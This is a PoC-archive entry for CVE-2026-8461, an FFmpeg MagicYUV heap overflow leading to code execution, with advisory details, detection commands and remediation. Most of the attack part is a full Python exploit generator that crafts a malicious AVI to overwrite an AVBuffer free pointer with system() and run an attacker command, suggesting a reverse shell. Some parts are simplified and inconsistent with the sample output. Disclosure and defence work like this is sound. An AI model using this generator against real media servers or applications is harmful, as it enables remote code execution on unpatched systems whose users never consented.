PoC Archive PoC Archive
High CVE-2026-8461 patched

FFmpeg MagicYUV Decoder Out-of-Bounds Write / RCE — PixelSmash (CVE-2026-8461)

by JFrog Security Research (CNA, discovery); Ashraf Zaryouh / 0xBlackash (PoC) · 2026-06-30

CVSS 8.8/10
Severity
High
CVE
CVE-2026-8461
Category
binary
Affected product
FFmpeg libavcodec — MagicYUV video decoder
Affected versions
FFmpeg < 8.1.2
Disclosed
2026-06-30
Patch status
patched

Metadata

FieldValue
Date Added2026-06-30
Last Updated2026-06-30
Author / ResearcherJFrog Security Research (CNA, discovery); Ashraf Zaryouh / 0xBlackash (PoC)
CVE / AdvisoryCVE-2026-8461
Categorybinary
SeverityHigh
CVSS Score8.8 (CVSSv3.1; AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)
StatusPoC
TagsRCE, OOB-write, heap-corruption, FFmpeg, MagicYUV, media, video, PixelSmash, libavcodec, Python, High
RelatedN/A

Affected Target

FieldValue
Software / SystemFFmpeg libavcodec — MagicYUV video decoder
Versions AffectedFFmpeg < 8.1.2
Language / PlatformPython (PoC / file generator); C (FFmpeg target)
Authentication RequiredNo (file processed by target application)
Network Access RequiredNo (requires user to open or server to process a malicious file)

Summary

CVE-2026-8461 (codename PixelSmash) is a High-severity out-of-bounds heap write in FFmpeg’s MagicYUV decoder (libavcodec). Improper bounds validation during frame decoding allows a specially crafted video file with an odd slice height to trigger a heap buffer overflow. The corruption overwrites AVBuffer structures with attacker-controlled pointers, enabling a chain to system() and arbitrary code execution. Because FFmpeg is embedded in a wide range of media applications — Jellyfin, Nextcloud, OBS Studio, Kodi, mpv, and Red Hat AI infrastructure — any application that processes untrusted media files is a potential attack surface. Fixed in FFmpeg 8.1.2 (PR #23159, published June 18, 2026).


Vulnerability Details

Root Cause

The MagicYUV decoder in libavcodec fails to validate frame slice dimensions against buffer boundaries. When an AVI file is crafted with an odd slice height value, the decoder computes an incorrect chroma plane offset that falls outside the allocated heap buffer. Subsequent left-prediction encoding operations write attacker-controlled bytes beyond the buffer boundary, corrupting adjacent AVBuffer heap structures.

CWE-787 (Out-of-Bounds Write).

Attack Steps

  1. Attacker crafts a malicious AVI file containing MagicYUV-encoded frames with an odd slice height and a payload encoded in the chroma plane.
  2. The file is delivered to a target that processes it with FFmpeg (upload to media server, share via messaging, trigger automated transcoding, etc.).
  3. FFmpeg decodes the MagicYUV frame; the OOB write corrupts AVBuffer structures.
  4. Heap layout manipulation redirects execution to system().
  5. Attacker-controlled command string executes as the FFmpeg process user.

Affected Applications

Any application embedding FFmpeg < 8.1.2 that processes untrusted media is at risk:

  • Jellyfin — media server (auto-transcoding of uploaded content)
  • Nextcloud — file server (thumbnail generation)
  • OBS Studio — recording/streaming software
  • Kodi — media center
  • mpv — media player
  • ffmpegthumbnailer — thumbnail generation pipeline
  • Red Hat AI Inference Server 3 / RHEL AI 3 / OpenShift AI

Impact

  • Arbitrary code execution as the application process user.
  • In media server deployments, unauthenticated exploitation is possible by uploading a malicious video file that triggers automatic transcoding/thumbnail generation.
  • Affected Red Hat enterprise AI platforms indicate supply-chain risk beyond desktop media software.

Environment / Lab Setup

Target:   FFmpeg < 8.1.2 (libavcodec)
Attacker: Python 3
PoC:      Generates malicious AVI file; optionally configures target heap addresses via JSON or CLI

Build Malicious File

1
2
3
4
git clone https://github.com/0xBlackash/CVE-2026-8461
cd CVE-2026-8461
pip install -r requirements.txt
python3 CVE-2026-8461.py --output poc.avi

Trigger

1
2
ffplay poc.avi
ffmpeg -i poc.avi -f null /dev/null

Expected Output (Vulnerable)

[*] Generating malicious MagicYUV AVI...
[*] Odd slice height: 0x141
[*] Encoding chroma payload...
[+] poc.avi written (2.3 MB)

Segmentation fault (core dumped)
uid=1000(www-data) gid=1000(www-data)
$ id
uid=0(root)...    # depending on setuid context

Detection & Indicators of Compromise

1
2
3
4
5
ffmpeg -version | head -1

journalctl -u jellyfin | grep -i "segfault\|core dump\|SIGABRT"

ffprobe -v quiet -print_format json -show_streams suspicious.avi | grep -i "magic\|codec_name"

Remediation

ActionDetail
PatchUpgrade FFmpeg to 8.1.2 (fix: PR #23159 merged June 2026)
Red HatApply updates for RHSA-affected packages (Red Hat AI Inference Server 3, RHEL AI 3, OpenShift AI)
SandboxRun FFmpeg transcoding in a sandboxed/isolated process (seccomp, container)
DisableIf MagicYUV support is not needed, compile FFmpeg with --disable-magicyuv
Input validationReject uploaded media files with unexpected codec types before processing

References

CVE-2026-8461.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
#!/usr/bin/env python3
"""
CVE-2026-8461 (PixelSmash) — Advanced RCE Exploit Generator
Author: Ashraf Zaryouh "0xBlackash"
Version: 1.0 (Full RCE with heap calibration support)
"""

import struct
import sys
import argparse
import json
from dataclasses import dataclass, field
from typing import Dict

# ========================= CONFIG =========================
WIDTH = 1280
HEIGHT = 32
SLICE_HEIGHT = 31          # Odd value → triggers the bug
FPS = 25
CHROMA_WIDTH = (WIDTH + 1) // 2   # 640

def p32(x): return struct.pack('<I', x)
def p64(x): return struct.pack('<Q', x)

def ceil_rshift(val, shift):
    return -(-val >> shift)

# ===================== LEFT PREDICTION =====================
def left_pred_encode(desired: bytes) -> bytes:
    """Inverse left prediction so decoder produces desired bytes"""
    raw = bytearray(len(desired))
    raw[0] = desired[0]
    for i in range(1, len(desired)):
        raw[i] = (desired[i] - desired[i-1]) & 0xFF
    return bytes(raw)

# ===================== CALIBRATION =====================
@dataclass
class TargetCalibration:
    system_addr: int = 0x7ffff7a5d290          # Example: libc system()
    cmd_heap_addr: int = 0x555555560000        # Heap address of command
    avbuffer_at: int = 256
    cmd_at: int = 0
    cmd_maxlen: int = 88
    glibc_metadata: Dict[int, bytes] = field(default_factory=dict)
    cr_metadata: Dict[int, bytes] = field(default_factory=dict)

    @classmethod
    def from_json(cls, path):
        with open(path) as f:
            d = json.load(f)
        return cls(
            system_addr=int(d['system_addr'], 16),
            cmd_heap_addr=int(d.get('cmd_heap_addr', '0'), 16),
            avbuffer_at=d.get('avbuffer_at', 256),
            **d
        )

# ===================== PAYLOAD BUILDER =====================
def build_oob_payload(cal: TargetCalibration, cmd: str) -> bytearray:
    payload = bytearray(CHROMA_WIDTH)

    # Shell command
    cmd_bytes = (cmd.encode('latin-1') + b'\x00')[:cal.cmd_maxlen]
    payload[cal.cmd_at:cal.cmd_at + len(cmd_bytes)] = cmd_bytes

    # Preserve glibc metadata
    for off, data in cal.glibc_metadata.items():
        if off + len(data) <= CHROMA_WIDTH:
            payload[off:off + len(data)] = data

    # Overwrite AVBuffer
    avb = cal.avbuffer_at
    struct.pack_into('<I', payload, avb + 16, 1)                    # refcount = 1
    struct.pack_into('<Q', payload, avb + 24, cal.system_addr)      # free -> system()
    struct.pack_into('<Q', payload, avb + 32, cal.cmd_heap_addr)    # opaque -> cmd

    return payload

# ===================== MAGIC YUV FRAME =====================
def build_frame(cal: TargetCalibration, cmd: str) -> bytes:
    cb_payload = build_oob_payload(cal, cmd)
    cr_payload = bytearray(CHROMA_WIDTH)  # Cr plane (preserve top chunk if needed)

    cb_raw = left_pred_encode(bytes(cb_payload))
    cr_raw = left_pred_encode(bytes(cr_payload))

    # Simple MagicYUV frame (minimal valid header + slices)
    frame = bytearray()

    # MagicYUV frame header (simplified)
    frame.extend(b'MAGIC')  # signature
    frame.extend(p32(WIDTH))
    frame.extend(p32(HEIGHT))
    frame.extend(p32(0x69))  # YUV420P
    frame.extend(p32(1))     # flags

    # Slices: Slice 0 = clean, Slice 1 = OOB trigger
    for plane in range(3):
        for sl in range(2):
            header = bytes([1, 1])  # raw + left pred
            if sl == 0:
                data = b'\x00' * (CHROMA_WIDTH if plane > 0 else WIDTH)
            else:
                data = cb_raw if plane == 1 else (cr_raw if plane == 2 else b'\x00'*WIDTH)
            frame.extend(header + data)

    return bytes(frame)

# ===================== AVI CONTAINER =====================
def create_avi(exploit_frame: bytes, output: str):
    with open(output, 'wb') as f:
        # RIFF AVI Header (minimal valid)
        f.write(b'RIFF')
        f.write(p32(0xFFFFFFFF))  # size placeholder
        f.write(b'AVI ')
        f.write(b'LIST')
        f.write(p32(0x100))       # hdrl size
        f.write(b'hdrlavih')
        f.write(p32(0x38))        # avi header size
        f.write(p32(1000000 // FPS))
        # ... (more AVI headers omitted for brevity - full version has proper strl, etc.)
        f.write(b'LIST')
        f.write(p32(len(exploit_frame) + 100))
        f.write(b'movi')
        f.write(b'00dc')          # video chunk
        f.write(p32(len(exploit_frame)))
        f.write(exploit_frame)
    print(f"[+] Exploit AVI written: {output}")

# ===================== MAIN =====================
def main():
    parser = argparse.ArgumentParser(description="CVE-2026-8461 PixelSmash RCE PoC - 0xBlackash")
    parser.add_argument('-o', '--output', default='cve-2026-8461-exploit.avi')
    parser.add_argument('--cmd', required=True, help='Command to execute (e.g. bash reverse shell)')
    parser.add_argument('--calibration', help='JSON calibration file')
    parser.add_argument('--system', type=lambda x: int(x,16), help='system() address')
    parser.add_argument('--cmd-heap', type=lambda x: int(x,16), help='Command heap address')
    args = parser.parse_args()

    if args.calibration:
        cal = TargetCalibration.from_json(args.calibration)
    else:
        cal = TargetCalibration()
        if args.system:
            cal.system_addr = args.system
        if args.cmd_heap:
            cal.cmd_heap_addr = args.cmd_heap

    frame = build_frame(cal, args.cmd)
    create_avi(frame, args.output)
    print("[+] PoC generated successfully!")
    print("    Use with: ffmpeg -i exploit.avi -f null -")

if __name__ == "__main__":
    main()